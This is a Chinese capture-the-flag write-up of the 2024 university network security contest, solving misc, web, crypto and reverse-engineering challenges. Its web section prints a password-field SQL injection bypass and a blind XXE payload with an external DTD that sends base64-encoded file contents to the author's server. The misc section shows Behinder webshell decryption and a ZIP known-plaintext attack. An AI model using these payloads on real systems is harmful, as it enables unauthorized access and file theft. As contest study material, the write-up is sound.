【2024高校网络安全管理运维赛】巨细记录!

2024高校网络安全管理运维赛

文章目录

MISC

签到

考点:动态图片分帧提取

没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取

然后按照图片所述,上cyberchef rot13解密

easyshell

考点:流量分析 冰蝎3.0

打开后过滤一下http

追踪http流

先分析一下特征,发现是冰蝎3

判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134

  1. Accept字段

Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2

  1. UserAgent字段

(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)

  1. 长连接

到此确定为冰蝎3

然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密

冰蝎3主要就两层加密如下:

AES + BASE64解密

https://blog.csdn.net/weixin_46081055/article/details/120007338

其中AES的密钥一般是默认的e45e329feb5d925b

iv全设置为0

去一点点追踪http流看看解密后内容

主要是看蓝色返回包内容

从少的开始 从后往前

AES:

注意这段非常重要

继续往上

检测到压缩包PK开头特征

提取zip 直接按右边的保存即可提取成功

两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码

在往上走

其中对最后两个解密 第一个是secret2.txt

第二个是temp.zip

这和我们的提取出来的非常一致啊

就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容

那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具bkcrack

首先构造一下文件目录 测试了

know.zip放的内容如上

构造命令:

bash 复制代码
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt

其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!

然后-C应该是指外层文件,-c应该是内层文件

拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu

bash 复制代码
bkcrack -C download.zip -k <key> -U flag.zip happysu

在flag.zip中拿下

参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948

Web

phpsql

考点:sql万能钥匙

开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注

但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧


下面是解题思路

首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧

注册好后,登录,可以发现需要登录一个admin用户

结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录

先尝试一下对用户名采用万能钥匙

败了

那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!

不能有空格 故输入'||1#

登录成功,直接拿下:

不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储

fileit

考点:xml注入 外带

首先开题,就一个非常直白的界面

Ctrl+U 看一下

非常明显的提示,但是我不懂,搜一下

不是很理解 呜呜 问一下gpt

simplexml_import_dom() 函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。

与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。

此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:

php 复制代码
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>

所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的

发包内容:

xml 复制代码
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

自己的服务器上接收数据:

eval.xml

xml 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

参考来源:http://tttang.com/archive/1716/#toc__6

其实一开始可以先读个file:///etc/passwd 测试一下

那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以

抓包后修改一下请求包类型

起初content-Type是没有的

改成这样

个人踩坑:

httpd 也就是nginx没启动 没设置开机自启

启动命令

bash 复制代码
systemctl status nginx   #状态
systemctl start nginx   #启动

查看服务器访问日志

拿下:

Crypto

secretbit

考点:代码阅读理解 频率分析

题目:

python 复制代码
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm


def instance(m, n):
    #随机性
    start = list(range(m))
    shuffle(start)

    for i in range(m):
        now = start[i]
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
        if not this_turn:
            return 0
    return 1


def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    return message


MAX_M = 400
MIN_M = 200
#把flag转成整形  然后再转为二进制
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []

for bi in tqdm(flag_b):
    #对每一个二进制位操作

    #生成合适的tmp_m0 n0 m1 n1
    while True:
        # m = 200 - 400
        # n = 100 - 356
        tmp_m0 = randrange(MIN_M, MAX_M)
        tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))

        tmp_m1 = randrange(MIN_M, MAX_M)
        tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))

        if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
            break
        
    choose_m = tmp_m0 if bi == 0 else tmp_m1
    choose_n = tmp_n0 if bi == 0 else tmp_n1

    leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])

#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1  需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))

解题:

其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯

先写一点小demo进行测试一下instance函数在干什么

首先是对于shuffle

python 复制代码
start = list(range(10))
print(start)
shuffle(start)  #直接打乱 不需要接收
print(start)

result:

txt 复制代码
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]

这个对题目也没有什么影响,了解一下就好

下面是最关键的

我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个

所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果

两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊

思考思考,必须恢复,那我们要看看频率了 看看1和0的频率

针对0和1统计频率 你能想到什么!必然是求和!非常方便

可以发现频率是比较稳定的

看看另一个

其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦

exp:

python 复制代码
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm


def instance(m, n):
    #随机性
    start = list(range(m))
    shuffle(start)

    for i in range(m):
        now = start[i]
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
        if not this_turn:
            return 0
    return 1

def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    return message

with open('data.txt', 'r') as file:
    # 读取文件中的数据
    data = file.read()

# 将读取的字符串数据转换为列表  注意这是一个三元组
leak_message = eval(data)

flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:
    m0 = bit[0][0]
    n0 = bit[0][1]
    m1 = bit[1][0]
    n1 = bit[1][1]
    res = sum(bit[2])
    res0 = sum(leak(m0, n0))
    res1 = sum(leak(m1, n1))
    #如果0接近
    if abs(res0 - res) < abs(res1 - res):
        flag_b.append('0')
    else:
        flag_b.append('1')
    print(''.join(flag_b))

print(''.join(flag_b))

10min左右

拿下:

python 复制代码
a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'

RE

easyre

考点:base64换表

开题

shift+F12 打开字符串

一眼定 base64换表

babyre

考点:UPX脱壳,Z3求解

开题一看 这么几个函数,必定加壳了

用exeinfo查一下

发现是UPX壳 用给出的命令脱壳

同样先shift+F12查看一下字符串

找到非常吸睛的flag!

显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag

注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7

Part1:

第一部分的条件非常清晰

python 复制代码
a1 - 0xADB1D018 == 0x36145344

Part2:

python 复制代码
(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8

Part3:

python 复制代码
a1 < 0x10000000
    
  4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))
     + -3 * (~a1 | 0xA8453437)
     + 3 * ~(a1 | 0xA8453437)
     - (-10 * (a1 & 0xA8453437)
      + (a1 ^ 0xA8453437)) == 551387557

Part4:

python 复制代码
11 * ~(a1 ^ 0xE33B67BD)
     + 4 * ~(~a1 | 0xE33B67BD)
     - (6 * (a1 & 0xE33B67BD)
      + 12 * ~(a1 | 0xE33B67BD))
     + 3 * (a1 & 0xD2C7FC0C)
     + -5 * a1
     - 2 * ~(a1 | 0xD2C7FC0C)
     + ~(a1 | 0x2D3803F3)
     + 4 * (a1 & 0x2D3803F3)
     - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC

注意上面的a1不一定是最终的a4 因为参数不一样


使用z3求解器

python 复制代码
from z3 import *
s = Solver()
a4 = BitVec("a4", 32)
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
s.add( a1 - 0xADB1D018 == 0x36145344)
s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )
s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437)  + (a3 ^ 0xA8453437)) == 551387557 )
s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)

if s.check() == sat:
    print(s.model())
else:
    print("???? ERROR")

直接梭了

result:

txt 复制代码
[a3 = 78769651,
 a4 = 2341511158,
 a2 = 98124621,
 a1 = 3821413212]

拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}

相关推荐
我命由我123457 分钟前
SSL 协议(HTTPS 协议的关键)
网络·经验分享·笔记·学习·https·ssl·学习方法
HEX9CF20 分钟前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
火红的小辣椒21 分钟前
XSS基础
android·web安全
丶Darling.1 小时前
代码随想录 | Day26 | 二叉树:二叉搜索树中的插入操作&&删除二叉搜索树中的节点&&修剪二叉搜索树
开发语言·数据结构·c++·笔记·学习·算法
kuber09091 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
Z3r4y1 小时前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小小工匠1 小时前
加密与安全_HOTP一次性密码生成算法
算法·安全·htop·一次性密码
Tandy12356_1 小时前
js逆向——webpack实战案例(一)
前端·javascript·安全·webpack
百里香酚兰1 小时前
【AI学习笔记】基于Unity+DeepSeek开发的一些BUG记录&解决方案
人工智能·学习·unity·大模型·deepseek
布丁不叮早起枣祈2 小时前
10.3学习
学习